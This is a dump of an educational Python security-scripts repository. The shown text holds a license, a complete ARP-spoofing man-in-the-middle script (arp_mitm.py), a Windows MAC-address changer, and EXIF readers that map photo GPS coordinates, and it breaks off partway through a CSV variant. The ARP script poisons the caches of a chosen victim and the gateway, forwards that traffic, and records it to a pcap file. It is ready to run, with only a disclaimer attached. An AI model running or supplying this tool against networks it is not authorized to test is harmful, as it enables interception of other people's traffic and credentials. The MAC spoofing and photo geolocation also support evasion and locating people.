├── LICENSE ├── arp_mitm.py ├── change-windows10-mac-address.py ├── exif.py ├── exif_csv.py ├── lanscan_arp.py ├── nmap_port_scanner.py ├── nmap_port_scanner_ip_obj.py ├── port_scanner_ip_obj.py ├── port_scanner_regex.py ├── python webcam.py ├── remove_exif.py ├── wifi_dos3.py ├── wifi_dos_own.py ├── wifi_dos_type1.py ├── wifi_dos_type2.py ├── windows10-wifi-email.py ├── windows10-wifi-rest.py ├── windows10-wifi.py ├── yeelight1.py ├── yeelight2.py ├── yeelight_discover.py └── yeelight_telnet /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 davidbombal 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /arp_mitm.py: -------------------------------------------------------------------------------- 1 | #!/user/bin python3 2 | 3 | # Disclaimer: This script is for educational purposes only. 4 | # Do not use against any network that you don't own or have authorization to test. 5 | # To run this script use: 6 | # sudo python3 arp_spoof.py -ip_range 10.0.0.0/24 (ex. 192.168.1.0/24) 7 | 8 | import scapy.all as scapy 9 | import subprocess 10 | import sys 11 | import time 12 | import os 13 | from ipaddress import IPv4Network 14 | import threading 15 | 16 | # We want the current working directory. 17 | cwd = os.getcwd() 18 | 19 | 20 | # Function to check whether the script was run with sudo privileges. 21 | # It will stop the execution if user didn't use sudo. 22 | def in_sudo_mode(): 23 | """If the user doesn't run the program with super user privileges, don't allow them to continue.""" 24 | if not 'SUDO_UID' in os.environ.keys(): 25 | print("Try running this program with sudo.") 26 | exit() 27 | 28 | 29 | def arp_scan(ip_range): 30 | """We use the arping method in scapy. It is a better implementation than writing your own arp scan. You'll often see that your own arp scan doesn't pick up 31 | mobile devices. You can see the way scapy implemented the function here: https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L726-L749 32 | Arguments: ip_range -> an example would be "10.0.0.0/24" 33 | """ 34 | # We create an empty list where we will store the pairs of ARP responses. 35 | arp_responses = list() 36 | # We send arp packets through the network, verbose is set to 0 so it won't show any output. 37 | # scapy's arping function returns two lists. We're interested in the answered results which is at the 0 index. 38 | answered_lst = scapy.arping(ip_range, verbose=0)[0] 39 | 40 | # We loop through all the responses and add them to a dictionary and append them to the list arp_responses. 41 | for res in answered_lst: 42 | # Every response will look something lke like -> {"ip" : "10.0.0.4", "mac" : "00:00:00:00:00:00"} 43 | arp_responses.append({"ip" : res[1].psrc, "mac" : res[1].hwsrc}) 44 | 45 | # We return the list of arp responses which contains dictionaries for every arp response. 46 | return arp_responses 47 | 48 | 49 | def is_gateway(gateway_ip): 50 | """We can see the gateway by running the route -n command 51 | Argument: The gateway_ip address which the program finds automatically should be supplied as an argument. 52 | """ 53 | # We run the command route -n which returns information about the gateways. 54 | result = subprocess.run(["route", "-n"], capture_output=True).stdout.decode().split("\n") 55 | # Loop through every row in the route -n command. 56 | for row in result: 57 | # We look to see if the gateway_ip is in the row, if it is we return True. If False program continues flow and returns False. 58 | if gateway_ip in row: 59 | return True 60 | 61 | return False 62 | 63 | 64 | def get_interface_names(): 65 | """The interface names of a networks are listed in the /sys/class/net folder in Kali. This function returns a list of interfaces in Kali.""" 66 | # The interface names are directory names in the /sys/class/net folder. So we change the directory to go there. 67 | os.chdir("/sys/class/net") 68 | # We use the listdir() function from the os module. Since we know there won't be files and only directories with the interface names we can save the output as the interface names. 69 | interface_names = os.listdir() 70 | # We return the interface names which we will use to find out which one is the name of the gateway. 71 | return interface_names 72 | 73 | 74 | def match_iface_name(row): 75 | # We get all the interface names by running the function defined above with the 76 | interface_names = get_interface_names() 77 | 78 | # Check if the interface name is in the row. If it is then we return the iface name. 79 | for iface in interface_names: 80 | if iface in row: 81 | return iface 82 | 83 | 84 | def gateway_info(network_info): 85 | """We can see the gateway by running the route -n command. This get us the gateway information. We also need the name of the interface for the sniffer function. 86 | Arguments: network_info -> We supply the arp_scan() data. 87 | """ 88 | # We run route -n and capture the output. 89 | result = subprocess.run(["route", "-n"], capture_output=True).stdout.decode().split("\n") 90 | # We declare an empty list for the gateways. 91 | gateways = [] 92 | # We supplied the arp_scan() results (which is a list) as an argument to the network_info parameter. 93 | for iface in network_info: 94 | for row in result: 95 | # We want the gateway information to be saved to list called gateways. We know the ip of the gateway so we can compare and see in which row it appears. 96 | if iface["ip"] in row: 97 | iface_name = match_iface_name(row) 98 | # Once we found the gateway, we create a dictionary with all of its names. 99 | gateways.append({"iface" : iface_name, "ip" : iface["ip"], "mac" : iface["mac"]}) 100 | 101 | return gateways 102 | 103 | 104 | def clients(arp_res, gateway_res): 105 | """This function returns a list with only the clients. The gateway is removed from the list. Generally you did get the ARP response from the gateway at the 0 index 106 | but I did find that sometimes this may not be the case. 107 | Arguments: arp_res (The response from the ARP scan), gateway_res (The response from the gatway_info function.) 108 | """ 109 | # In the menu we only want to give you access to the clients whose arp tables you want to poison. The gateway needs to be removed. 110 | client_list = [] 111 | for gateway in gateway_res: 112 | for item in arp_res: 113 | # All items which are not the gateway will be appended to the client_list. 114 | if gateway["ip"] != item["ip"]: 115 | client_list.append(item) 116 | # return the list with the clients which will be used for the menu. 117 | return client_list 118 | 119 | 120 | def allow_ip_forwarding(): 121 | """ Run this function to allow ip forwarding. The packets will flow through your machine, and you'll be able to capture them. Otherwise user will lose connection.""" 122 | # You would normally run the command sysctl -w net.ipv4.ip_forward=1 to enable ip forwarding. We run this with subprocess.run() 123 | subprocess.run(["sysctl", "-w", "net.ipv4.ip_forward=1"]) 124 | # Load in sysctl settings from the /etc/sysctl.conf file. 125 | subprocess.run(["sysctl", "-p", "/etc/sysctl.conf"]) 126 | 127 | 128 | def arp_spoofer(target_ip, target_mac, spoof_ip): 129 | """ To update the ARP tables this function needs to be ran twice. Once with the gateway ip and mac, and then with the ip and mac of the target. 130 | Arguments: target ip address, target mac, and the spoof ip address. 131 | """ 132 | # We want to create an ARP response, by default op=1 which is "who-has" request, to op=2 which is a "is-at" response packet. 133 | # We can fool the ARP cache by sending a fake packet saying that we're at the router's ip to the target machine, and sending a packet to the router that we are at the target machine's ip. 134 | pkt = scapy.ARP(op=2,pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) 135 | # ARP is a layer 3 protocol. So we use scapy.send(). We choose it to be verbose so we don't see the output. 136 | scapy.send(pkt, verbose=False) 137 | 138 | 139 | def send_spoof_packets(): 140 | # We need to send spoof packets to the gateway and the target device. 141 | while True: 142 | # We send an arp packet to the gateway saying that we are the the target machine. 143 | arp_spoofer(gateway_info["ip"], gateway_info["mac"], node_to_spoof["ip"]) 144 | # We send an arp packet to the target machine saying that we are gateway. 145 | arp_spoofer(node_to_spoof["ip"], node_to_spoof["mac"], gateway_info["ip"]) 146 | # Tested time.sleep() with different values. 3s seems adequate. 147 | time.sleep(3) 148 | 149 | 150 | def packet_sniffer(interface): 151 | """ This function will be a packet sniffer to capture all the packets sent to the computer whilst this computer is the MITM. """ 152 | # We use the sniff function to sniff the packets going through the gateway interface. We don't store them as it takes a lot of resources. The process_sniffed_pkt is a callback function that will run on each packet. 153 | packets = scapy.sniff(iface = interface, store = False, prn = process_sniffed_pkt) 154 | 155 | 156 | def process_sniffed_pkt(pkt): 157 | """ This function is a callback function that works with the packet sniffer. It receives every packet that goes through scapy.sniff(on_specified_interface) and writes it to a pcap file""" 158 | print("Writing to pcap file. Press ctrl + c to exit.") 159 | # We append every packet sniffed to the requests.pcap file which we can inspect with Wireshark. 160 | scapy.wrpcap("requests.pcap", pkt, append=True) 161 | 162 | 163 | def print_arp_res(arp_res): 164 | """ This function creates a menu where you can pick the device whose arp cache you want to poison. """ 165 | # Program Header 166 | # Basic user interface header 167 | print(r"""______ _ _ ______ _ _ 168 | | _ \ (_) | | | ___ \ | | | | 169 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 170 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 171 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 172 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 173 | print("\n****************************************************************") 174 | print("\n* Copyright of David Bombal, 2021 *") 175 | print("\n* https://www.davidbombal.com *") 176 | print("\n* https://www.youtube.com/davidbombal *") 177 | print("\n****************************************************************") 178 | print("ID\t\tIP\t\t\tMAC Address") 179 | print("_________________________________________________________") 180 | for id, res in enumerate(arp_res): 181 | # We are formatting the to print the id (number in the list), the ip and lastly the mac address. 182 | print("{}\t\t{}\t\t{}".format(id,res['ip'], res['mac'])) 183 | while True: 184 | try: 185 | # We have to verify the choice. If the choice is valid then the function returns the choice. 186 | choice = int(input("Please select the ID of the computer whose ARP cache you want to poison (ctrl+z to exit): ")) 187 | if arp_res[choice]: 188 | return choice 189 | except: 190 | print("Please enter a valid choice!") 191 | 192 | 193 | def get_cmd_arguments(): 194 | """ This function validates the command line arguments supplied on program start-up""" 195 | ip_range = None 196 | # Ensure that they supplied the correct command line arguments. 197 | if len(sys.argv) - 1 > 0 and sys.argv[1] != "-ip_range": 198 | print("-ip_range flag not specified.") 199 | return ip_range 200 | elif len(sys.argv) - 1 > 0 and sys.argv[1] == "-ip_range": 201 | try: 202 | # If IPv4Network(3rd paramater is not a valid ip range, then will kick you to the except block.) 203 | print(f"{IPv4Network(sys.argv[2])}") 204 | # If it is valid it will assign the ip_range from the 3rd parameter. 205 | ip_range = sys.argv[2] 206 | print("Valid ip range entered through command-line.") 207 | except: 208 | print("Invalid command-line argument supplied.") 209 | 210 | return ip_range 211 | 212 | 213 | # Checks if program ran in sudo mode 214 | in_sudo_mode() 215 | 216 | # Gets the ip range using the get_cmd_arguments() 217 | ip_range = get_cmd_arguments() 218 | 219 | # If the ip range is not valid, it would've assigned a None value and the program will exit from here. 220 | if ip_range == None: 221 | print("No valid ip range specified. Exiting!") 222 | exit() 223 | 224 | # If we don't run this function the internet will be down for the user. 225 | allow_ip_forwarding() 226 | 227 | # Do the arp scan. The function returns a list of all clients. 228 | arp_res = arp_scan(ip_range) 229 | 230 | # If there is no connection exit the script. 231 | if len(arp_res) == 0: 232 | print("No connection. Exiting, make sure devices are active or turned on.") 233 | exit() 234 | 235 | # The function runs route -n command. Returns a list with the gateway in a dictionary. 236 | gateways = gateway_info(arp_res) 237 | 238 | # The gateway will be in position 0 of the list, for easy use we just assign it to a variable. 239 | gateway_info = gateways[0] 240 | 241 | # The gateways are removed from the clients. 242 | client_info = clients(arp_res, gateways) 243 | 244 | # If there are no clients, then the program will exit from here. 245 | if len(client_info) == 0: 246 | print("No clients found when sending the ARP messages. Exiting, make sure devices are active or turned on.") 247 | exit() 248 | 249 | # Show the menu and assign the choice from the function to the variable -> choice 250 | choice = print_arp_res(client_info) 251 | 252 | # Select the node to spoof from the client_info list. 253 | node_to_spoof = client_info[choice] 254 | 255 | # get_interface_names() 256 | 257 | # Setup the thread in the background which will send the arp spoof packets. 258 | t1 = threading.Thread(target=send_spoof_packets, daemon=True) 259 | # Start the thread. 260 | t1.start() 261 | 262 | # Change the directory again to the directory which contains the script, so it is a place where you have write privileges, 263 | os.chdir(cwd) 264 | 265 | # Run the packet sniffer on the interface. So we can capture all the packets and save it to a pcap file that can be opened in Wireshark. 266 | packet_sniffer(gateway_info["iface"]) 267 | -------------------------------------------------------------------------------- /change-windows10-mac-address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ################################################################################################## 3 | #Copyright of David Bombal, 2021 # 4 | #https://www.davidbombal.com # 5 | #https://www.youtube.com/davidbombal # 6 | # # 7 | # Please note that this code can be improved by using functions. It is not programmed to cater # 8 | # for all situations, but to be used as a learning tool. # 9 | # # 10 | # This code is provided for educational purposes only. Do good. Be Ethical. # 11 | # # 12 | ################################################################################################## 13 | 14 | import subprocess 15 | import winreg 16 | import re 17 | import codecs 18 | 19 | print("##############################################################") 20 | print("1) Make sure you run this script with administrator privileges") 21 | print("2) Make sure that the WiFi adapter is connected to a network") 22 | print("##############################################################\n") 23 | 24 | # MAC Addresses to attempt using. You will select one when the script is used. 25 | # You can change the names in this list or add names to this list. 26 | # Make sure you use 12 valid hexadecimal values. 27 | # If the MAC address change fails try setting the second character to 2 or 6 or A or E, 28 | # for example: 0A1122334455 or 0A5544332211 29 | # If unsure, leave the MAC addresses listed here as is. 30 | mac_to_change_to = ["0A1122334455", "0E1122334455", "021122334455", "061122334455"] 31 | 32 | # We create an empty list where we'll store all the MAC addresses. 33 | mac_addresses = list() 34 | 35 | # We start off by creating a regular expression (regex) for MAC addresses. 36 | macAddRegex = re.compile(r"([A-Za-z0-9]{2}[:-]){5}([A-Za-z0-9]{2})") 37 | 38 | # We create a regex for the transport names. It will work in this case. 39 | # But when you use the .+ or .*, you should consider making it not as greedy. 40 | transportName = re.compile("({.+})") 41 | 42 | # We create regex to pick out the adapter index 43 | adapterIndex = re.compile("([0-9]+)") 44 | 45 | # Python allows us to run system commands by using a function provided by the subprocess module: 46 | # (subprocess.run(, 47 | # )) 48 | # The script is a parent process and creates a child process which runs the system command, 49 | # and will only continue once the child process has completed. 50 | # To save the content that gets sent to the standard output stream (the terminal), 51 | # we have to specify that we want to capture the output, so we specify the second 52 | # argument as capture_output = True. This information gets stored in the stdout attribute. 53 | # The information is stored in bytes and we need to decode it to Unicode before we use it 54 | # as a String in Python. 55 | # We use Python to run the getmac command, and then capture the output. 56 | # We split the output at the newline so that we can work with the individual lines 57 | # (which will contain the Mac and transport name). 58 | getmac_output = subprocess.run("getmac", capture_output=True).stdout.decode().split('\n') 59 | 60 | # We loop through the output 61 | for macAdd in getmac_output: 62 | # We use the regex to find the Mac Addresses. 63 | macFind = macAddRegex.search(macAdd) 64 | # We use the regex to find the transport name. 65 | transportFind = transportName.search(macAdd) 66 | # If you don't find a Mac Address or Transport name the option won't be listed. 67 | if macFind == None or transportFind == None: 68 | continue 69 | # We append a tuple with the Mac Address and the Transport name to a list. 70 | mac_addresses.append((macFind.group(0),transportFind.group(0))) 71 | 72 | # Create a simple menu to select which Mac Address the user want to update. 73 | print("Which MAC Address do you want to update?") 74 | for index, item in enumerate(mac_addresses): 75 | print(f"{index} - Mac Address: {item[0]} - Transport Name: {item[1]}") 76 | 77 | # Prompt the user to select Mac Address they want to update. 78 | option = input("Select the menu item number corresponding to the MAC that you want to change:") 79 | 80 | # Create a simple menu so the user can pick a MAC address to use 81 | while True: 82 | print("Which MAC address do you want to use? This will change the Network Card's MAC address.") 83 | for index, item in enumerate(mac_to_change_to): 84 | print(f"{index} - Mac Address: {item}") 85 | 86 | # Prompt the user to select the MAC address they want to change to. 87 | update_option = input("Select the menu item number corresponding to the new MAC address that you want to use:") 88 | # Check to see if the option the user picked is a valid option. 89 | if int(update_option) >= 0 and int(update_option) < len(mac_to_change_to): 90 | print(f"Your Mac Address will be changed to: {mac_to_change_to[int(update_option)]}") 91 | break 92 | else: 93 | print("You didn't select a valid option. Please try again!") 94 | 95 | # We know the first part of the key, we'll append the folders where we'll search the values 96 | controller_key_part = r"SYSTEM\ControlSet001\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}" 97 | 98 | # We connect to the HKEY_LOCAL_MACHINE registry. If we specify None, 99 | # it means we connect to local machine's registry. 100 | with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as hkey: 101 | # Create a list for the 21 folders. I used a list comprehension. The expression part of the list comprehension 102 | # makes use of a ternary operator. The transport value for you Mac Address should fall within this range. 103 | # You could write multiple lines. 104 | controller_key_folders = [("\\000" + str(item) if item < 10 else "\\00" + str(item)) for item in range(0, 21)] 105 | # We now iterate through the list of folders we created. 106 | for key_folder in controller_key_folders: 107 | # We try to open the key. If we can't we just except and pass. But it shouldn't be a problem. 108 | try: 109 | # We have to specify the registry we connected to, the controller key 110 | # (This is made up of the controller_key_part we know and the folder(key) name we created 111 | # with the list comprehension). 112 | with winreg.OpenKey(hkey, controller_key_part + key_folder, 0, winreg.KEY_ALL_ACCESS) as regkey: 113 | # We will now look at the Values under each key and see if we can find the "NetCfgInstanceId" 114 | # with the same Transport Id as the one we selected. 115 | try: 116 | # Values start at 0 in the registry and we have to count through them. 117 | # This will continue until we get a WindowsError (Where we will then just pass) 118 | # then we'll start with the next folder until we find the correct key which contains 119 | # the value we're looking for. 120 | count = 0 121 | while True: 122 | # We unpack each individual winreg value into name, value and type. 123 | name, value, type = winreg.EnumValue(regkey, count) 124 | # To go to the next value if we didn't find what we're looking for we increment count. 125 | count = count + 1 126 | # We check to see if our "NetCfgInstanceId" is equal to our Transport number for our 127 | # selected Mac Address. 128 | if name == "NetCfgInstanceId" and value == mac_addresses[int(option)][1]: 129 | new_mac_address = mac_to_change_to[int(update_option)] 130 | winreg.SetValueEx(regkey, "NetworkAddress", 0, winreg.REG_SZ, new_mac_address) 131 | print("Successly matched Transport Number") 132 | # get list of adapters and find index of adapter you want to disable. 133 | break 134 | except WindowsError: 135 | pass 136 | except: 137 | pass 138 | 139 | 140 | # Code to disable and enable Wireless devicess 141 | run_disable_enable = input("Do you want to disable and reenable your wireless device(s). Press Y or y to continue:") 142 | # Changes the input to lowercase and compares to y. If not y the while function which contains the last part will never run. 143 | if run_disable_enable.lower() == 'y': 144 | run_last_part = True 145 | else: 146 | run_last_part = False 147 | 148 | # run_last_part will be set to True or False based on above code. 149 | while run_last_part: 150 | 151 | # Code to disable and enable the network adapters 152 | # We get a list of all network adapters. You have to ignore errors, as it doesn't like the format the command returns the data in. 153 | network_adapters = subprocess.run(["wmic", "nic", "get", "name,index"], capture_output=True).stdout.decode('utf-8', errors="ignore").split('\r\r\n') 154 | for adapter in network_adapters: 155 | # We get the index for each adapter 156 | adapter_index_find = adapterIndex.search(adapter.lstrip()) 157 | # If there is an index and the adapter has wireless in description we are going to disable and enable the adapter 158 | if adapter_index_find and "Wireless" in adapter: 159 | disable = subprocess.run(["wmic", "path", "win32_networkadapter", "where", f"index={adapter_index_find.group(0)}", "call", "disable"],capture_output=True) 160 | # If the return code is 0, it means that we successfully disabled the adapter 161 | if(disable.returncode == 0): 162 | print(f"Disabled {adapter.lstrip()}") 163 | # We now enable the network adapter again. 164 | enable = subprocess.run(["wmic", "path", f"win32_networkadapter", "where", f"index={adapter_index_find.group(0)}", "call", "enable"],capture_output=True) 165 | # If the return code is 0, it means that we successfully enabled the adapter 166 | if (enable.returncode == 0): 167 | print(f"Enabled {adapter.lstrip()}") 168 | 169 | # We run the getmac command again 170 | getmac_output = subprocess.run("getmac", capture_output=True).stdout.decode() 171 | # We recreate the Mac Address as ot shows up in getmac XX-XX-XX-XX-XX-XX format from the 12 character string we have. We split the string into strings of length 2 using list comprehensions and then. We use "-".join(list) to recreate the address 172 | mac_add = "-".join([(mac_to_change_to[int(update_option)][i:i+2]) for i in range(0, len(mac_to_change_to[int(update_option)]), 2)]) 173 | # We want to check if Mac Address we changed to is in getmac output, if so we have been successful. 174 | if mac_add in getmac_output: 175 | print("Mac Address Success") 176 | # Break out of the While loop. Could also change run_last_part to False. 177 | break 178 | -------------------------------------------------------------------------------- /exif.py: -------------------------------------------------------------------------------- 1 | # Disclaimer: This script is for educational purposes only. 2 | # Do not use against any photos that you don't own or have authorization to test. 3 | 4 | #!/usr/bin/env python3 5 | 6 | # Please note: 7 | # This program is for .JPG and .TIFF format files. The program could be extended to support .HEIC, .PNG and other formats. 8 | # Installation and usage instructions: 9 | # 1. Install Pillow (Pillow will not work if you have PIL installed): 10 | # python3 -m pip install --upgrade pip 11 | # python3 -m pip install --upgrade Pillow 12 | # 2. Add .jpg images downloaded from Flickr to subfolder ./images from where the script is stored. 13 | # Try the following Flickr account: https://www.flickr.com/photos/194419969@N07/? (Please don't use other Flickr accounts). 14 | # Note most social media sites strip exif data from uploaded photos. 15 | 16 | import os 17 | import sys 18 | from PIL import Image 19 | from PIL.ExifTags import GPSTAGS, TAGS 20 | 21 | 22 | # Helper function 23 | def create_google_maps_url(gps_coords): 24 | # Exif data stores coordinates in degree/minutes/seconds format. To convert to decimal degrees. 25 | # We extract the data from the dictionary we sent to this function for latitudinal data. 26 | dec_deg_lat = convert_decimal_degrees(float(gps_coords["lat"][0]), float(gps_coords["lat"][1]), float(gps_coords["lat"][2]), gps_coords["lat_ref"]) 27 | # We extract the data from the dictionary we sent to this function for longitudinal data. 28 | dec_deg_lon = convert_decimal_degrees(float(gps_coords["lon"][0]), float(gps_coords["lon"][1]), float(gps_coords["lon"][2]), gps_coords["lon_ref"]) 29 | # We return a search string which can be used in Google Maps 30 | return f"https://maps.google.com/?q={dec_deg_lat},{dec_deg_lon}" 31 | 32 | 33 | # Converting to decimal degrees for latitude and longitude is from degree/minutes/seconds format is the same for latitude and longitude. So we use DRY principles, and create a seperate function. 34 | def convert_decimal_degrees(degree, minutes, seconds, direction): 35 | decimal_degrees = degree + minutes / 60 + seconds / 3600 36 | # A value of "S" for South or West will be multiplied by -1 37 | if direction == "S" or direction == "W": 38 | decimal_degrees *= -1 39 | return decimal_degrees 40 | 41 | 42 | # Print Logo 43 | print(""" 44 | ______ _ _ ______ _ _ 45 | | _ \ (_) | | | ___ \ | | | | 46 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 47 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 48 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 49 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_| 50 | 51 | 52 | 53 | _______ _____________ _____ _____ _____ _ 54 | | ___\ \ / /_ _| ___| |_ _| _ || _ | | 55 | | |__ \ V / | | | |_ | | | | | || | | | | 56 | | __| / \ | | | _| | | | | | || | | | | 57 | | |___/ /^\ \_| |_| | | | \ \_/ /\ \_/ / |____ 58 | \____/\/ \/\___/\_| \_/ \___/ \___/\_____/ 59 | 60 | 61 | """) 62 | 63 | 64 | # Choice whether to keep output in the Terminal or redirect to a file. 65 | while True: 66 | output_choice = input("How do you want to receive the output:\n\n1 - File\n2 - Terminal\nEnter choice here: ") 67 | try: 68 | conv_val = int(output_choice) 69 | if conv_val == 1: 70 | # We redirect the standard output stream to a file instead of the screen. 71 | sys.stdout = open("exif_data.txt", "w") 72 | break 73 | elif conv_val == 2: 74 | # The standard output stream is the screen so we don't need to redirect and just need to break the while loop. 75 | break 76 | else: 77 | print("You entered an incorrect option, please try again.") 78 | except: 79 | print("You entered an invalid option, please try again.") 80 | 81 | 82 | # Add files to the folder ./images 83 | # We assign the cwd to a variable. We will refer to it to get the path to images. 84 | cwd = os.getcwd() 85 | # Change the current working directory to the one where you keep your images. 86 | os.chdir(os.path.join(cwd, "images")) 87 | # Get a list of all the files in the images directory. 88 | files = os.listdir() 89 | 90 | # Check if you have any files in the ./images folder. 91 | if len(files) == 0: 92 | print("You don't have have files in the ./images folder.") 93 | exit() 94 | # Loop through the files in the images directory. 95 | for file in files: 96 | # We add try except black to handle when there are wrong file formats in the ./images folder. 97 | try: 98 | # Open the image file. We open the file in binary format for reading. 99 | image = Image.open(file) 100 | print(f"_______________________________________________________________{file}_______________________________________________________________") 101 | # The ._getexif() method returns a dictionary. .items() method returns a list of all dictionary keys and values. 102 | gps_coords = {} 103 | # We check if exif data are defined for the image. 104 | if image._getexif() == None: 105 | print(f"{file} contains no exif data.") 106 | # If exif data are defined we can cycle through the tag, and value for the file. 107 | else: 108 | for tag, value in image._getexif().items(): 109 | # If you print the tag without running it through the TAGS.get() method you'll get numerical values for every tag. We want the tags in human-readable form. 110 | # You can see the tags and the associated decimal number in the exif standard here: https://exiv2.org/tags.html 111 | tag_name = TAGS.get(tag) 112 | if tag_name == "GPSInfo": 113 | for key, val in value.items(): 114 | # Print the GPS Data value for every key to the screen. 115 | print(f"{GPSTAGS.get(key)} - {val}") 116 | # We add Latitude data to the gps_coord dictionary which we initialized in line 110. 117 | if GPSTAGS.get(key) == "GPSLatitude": 118 | gps_coords["lat"] = val 119 | # We add Longitude data to the gps_coord dictionary which we initialized in line 110. 120 | elif GPSTAGS.get(key) == "GPSLongitude": 121 | gps_coords["lon"] = val 122 | # We add Latitude reference data to the gps_coord dictionary which we initialized in line 110. 123 | elif GPSTAGS.get(key) == "GPSLatitudeRef": 124 | gps_coords["lat_ref"] = val 125 | # We add Longitude reference data to the gps_coord dictionary which we initialized in line 110. 126 | elif GPSTAGS.get(key) == "GPSLongitudeRef": 127 | gps_coords["lon_ref"] = val 128 | else: 129 | # We print data not related to the GPSInfo. 130 | print(f"{tag_name} - {value}") 131 | # We print the longitudinal and latitudinal data which has been formatted for Google Maps. We only do so if the GPS Coordinates exists. 132 | if gps_coords: 133 | print(create_google_maps_url(gps_coords)) 134 | # Change back to the original working directory. 135 | except IOError: 136 | print("File format not supported!") 137 | 138 | if output_choice == "1": 139 | sys.stdout.close() 140 | os.chdir(cwd) 141 | -------------------------------------------------------------------------------- /exif_csv.py: -------------------------------------------------------------------------------- 1 | # Disclaimer: This script is for educational purposes only. 2 | # Do not use against any photos that you don't own or have authorization to test. 3 | 4 | #!/usr/bin/env python3 5 | 6 | # Please note: 7 | # This program is for .JPG and .TIFF format files. The program could be extended to support .HEIC, .PNG and other formats. 8 | # Installation and usage instructions: 9 | # 1. Install Pillow (Pillow will not work if you have PIL installed): 10 | # python3 -m pip install --upgrade pip 11 | # python3 -m pip install --upgrade Pillow 12 | # 2. Add .jpg images downloaded from Flickr to subfolder ./images from where the script is stored. 13 | # Try the following Flickr account: https://www.flickr.com/photos/194419969@N07/? (Please don't use other Flickr accounts). 14 | # Note most social media sites strip exif data from uploaded photos. 15 | 16 | import os 17 | import csv 18 | from PIL import Image 19 | from PIL.ExifTags import GPSTAGS, TAGS 20 | 21 | 22 | # Helper function 23 | def create_google_maps_url(gps_coords): 24 | # Exif data stores coordinates in degree/minutes/seconds format. To convert to decimal degrees. 25 | # We extract the data from the dictionary we sent to this function for latitudinal data. 26 | dec_deg_lat = convert_decimal_degrees(float(gps_coords["lat"][0]), float(gps_coords["lat"][1]), float(gps_coords["lat"][2]), gps_coords["lat_ref"]) 27 | # We extract the data from the dictionary we sent to this function for longitudinal data. 28 | dec_deg_lon = convert_decimal_degrees(float(gps_coords["lon"][0]), float(gps_coords["lon"][1]), float(gps_coords["lon"][2]), gps_coords["lon_ref"]) 29 | # We return a search string which can be used in Google Maps 30 | return f"https://maps.google.com/?q={dec_deg_lat},{dec_deg_lon}" 31 | 32 | 33 | # Converting to decimal degrees for latitude and longitude is from degree/minutes/seconds format is the same for latitude and longitude. So we use DRY principles, and create a seperate function. 34 | def convert_decimal_degrees(degree, minutes, seconds, direction): 35 | decimal_degrees = degree + minutes / 60 + seconds / 3600 36 | # A value of "S" for South or West will be multiplied by -1 37 | if direction == "S" or direction == "W": 38 | decimal_degrees *= -1 39 | return decimal_degrees 40 | 41 | 42 | # Print Logo 43 | print(""" 44 | ______ _ _ ______ _ _ 45 | | _ \ (_) | | | ___ \ | | | | 46 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 47 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 48 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 49 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_| 50 | 51 | 52 | 53 | _______ _____________ _____ _____ _____ _ 54 | | ___\ \ / /_ _| ___| |_ _| _ || _ | | 55 | | |__ \ V / | | | |_ | | | | | || | | | | 56 | | __| / \ | | | _| | | | | | || | | | | 57 | | |___/ /^\ \_| |_| | | | \ \_/ /\ \_/ / |____ 58 | \____/\/ \/\___/\_| \_/ \___/ \___/\_____/ 59 | 60 | 61 | """) 62 | 63 | # Add files to the folder ./images 64 | # We assign the cwd to a variable. We will refer to it to get the path to images. 65 | cwd = os.getcwd() 66 | # Change the current working directory to the one where you keep your images. 67 | os.chdir(os.path.join(cwd, "images")) 68 | # Get a list of all the files in the images directory. 69 | files = os.listdir() 70 | 71 | # Check if you have any files in the ./images folder. 72 | if len(files) == 0: 73 | print("You don't have have files in the ./images folder.") 74 | exit() 75 | # Loop through the files in the images directory. 76 | 77 | # We open a csv file to write the data to it. 78 | with open("../exif_data.csv", "a", newline="") as csv_file: 79 | # We create a writer for the csv format. 80 | writer = csv.writer(csv_file) 81 | 82 | for file in files: 83 | # We add try except black to handle when there are wrong file formats in the ./images folder. 84 | try: 85 | # Open the image file. We open the file in binary format for reading. 86 | image = Image.open(file) 87 | print(f"_______________________________________________________________{file}_______________________________________________________________") 88 | # The ._getexif() method returns a dictionary. .items() method returns a list of all dictionary keys and values. 89 | 